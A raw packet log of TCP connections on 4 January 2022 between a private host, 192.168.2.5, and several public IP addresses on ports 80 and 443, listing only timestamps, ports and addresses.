Jan 4, 2022 19:33:58.079031944 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.079046011 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.079046965 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.079068899 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.079097986 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140191078 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140276909 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140290976 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140305996 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140321016 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140324116 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140333891 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140350103 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140350103 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140371084 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140372038 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140386105 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140387058 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140399933 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140414953 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140428066 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140431881 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140440941 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140455961 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140459061 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140470028 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140491962 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140492916 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140506029 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140507936 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140521049 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140536070 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140552044 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140553951 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140566111 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140568018 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140582085 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140598059 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140619993 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140620947 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140636921 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140651941 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140655041 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140665054 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140677929 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140678883 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140691042 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140703917 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140716076 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140736103 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140737057 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140749931 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140764952 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140765905 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140778065 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140780926 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140803099 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140820980 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140825033 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140835047 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140858889 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140861034 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140877008 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140894890 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140909910 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140916109 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140925884 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140942097 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140944004 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140955925 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140975952 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.140976906 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.140996933 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.141000986 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.141041040 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.141062021 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.141072035 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.141076088 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.141105890 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.185523987 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:58.185558081 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:58.185643911 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:58.200992107 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201037884 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201066971 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201092958 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201113939 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201148033 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201162100 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201184988 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201186895 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201212883 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201215982 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201240063 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201258898 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201262951 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201289892 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201289892 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201316118 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201340914 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201365948 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201369047 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201389074 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201406956 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201411963 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201435089 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201448917 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201458931 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201484919 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201498985 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201508999 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201533079 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201545000 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201554060 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201582909 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201598883 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201607943 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201631069 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201632977 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201667070 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201693058 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201694012 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201719046 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201744080 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201767921 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201771021 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201797009 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201797009 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201821089 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201843977 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201864958 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201873064 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201889992 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201894999 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201914072 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201936007 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.201936960 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201961040 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.201986074 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202003956 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.202009916 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202033043 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.202034950 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202059984 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202085972 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202101946 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.202111959 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202131987 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.202136040 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202162981 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202189922 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202207088 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.202224016 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202235937 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202238083 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.202256918 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202274084 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202300072 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202313900 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.202321053 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.202387094 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.224874020 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:58.224956989 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:58.262409925 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262445927 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262470961 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262497902 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262526035 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262545109 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262552977 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262562990 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262582064 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262594938 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262605906 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262623072 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262648106 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262650967 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262671947 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262693882 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262696028 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262712955 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262728930 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262744904 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262748003 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262761116 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262780905 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262782097 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262798071 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262799025 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262814999 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262830973 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262836933 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262845993 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262862921 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262870073 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262880087 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262896061 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262913942 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262917995 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262938023 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262944937 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.262954950 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.262974977 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.263006926 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.327832937 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:58.327955008 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:58.619004011 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.619030952 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.619553089 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.619625092 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.632709980 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.632927895 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.636589050 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.649633884 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.681832075 CET	49896	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:58.692872047 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.696619034 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.791832924 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.791858912 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.791882992 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.791918039 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.791940928 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.791954041 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.791960955 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.791996002 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.792006969 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.792021990 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.792045116 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.807317019 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:58.807353020 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:58.845032930 CET	80	49896	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:58.845149040 CET	49896	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:58.845293045 CET	49896	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:58.850553036 CET	49896	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:59.014106035 CET	80	49896	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:59.169972897 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.170003891 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.170285940 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.172719955 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.185410023 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.228866100 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.264463902 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.264497995 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.264547110 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.264570951 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.264600039 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.264616966 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.264625072 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.264650106 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.267164946 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.267497063 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.267553091 CET	443	49895	51.91.13.105	192.168.2.5
Jan 4, 2022 19:33:59.267584085 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.267637968 CET	49895	443	192.168.2.5	51.91.13.105
Jan 4, 2022 19:33:59.475279093 CET	80	49896	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:59.475303888 CET	80	49896	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:59.475414991 CET	49896	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:59.475471020 CET	49896	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:59.589394093 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.597311020 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.609630108 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.609719992 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.610403061 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.617243052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.617402077 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.619038105 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.630218983 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.638253927 CET	80	49896	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:59.638895988 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.744251013 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.744839907 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.754523039 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.754606009 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.756109953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776515007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776561975 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776587009 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776648998 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776669979 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776674032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776696920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776721001 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776725054 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776746988 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776748896 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776781082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776782036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776806116 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776813030 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776824951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776835918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.776869059 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.776875973 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.796768904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796811104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796830893 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796866894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796883106 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.796891928 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796900988 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.796917915 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796936035 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796948910 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.796953917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796978951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.796982050 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797003031 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797013044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797025919 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797034025 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797055960 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797063112 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797079086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797099113 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797103882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797128916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797130108 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797146082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797152996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797164917 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797178984 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797203064 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797226906 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797226906 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797251940 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.797265053 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.797307968 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.805944920 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.817316055 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817368031 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817406893 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817444086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817481995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817486048 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817513943 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817518950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817519903 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817533016 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817559004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817600012 CET	80	49897	65.108.180.72	192.168.2.5
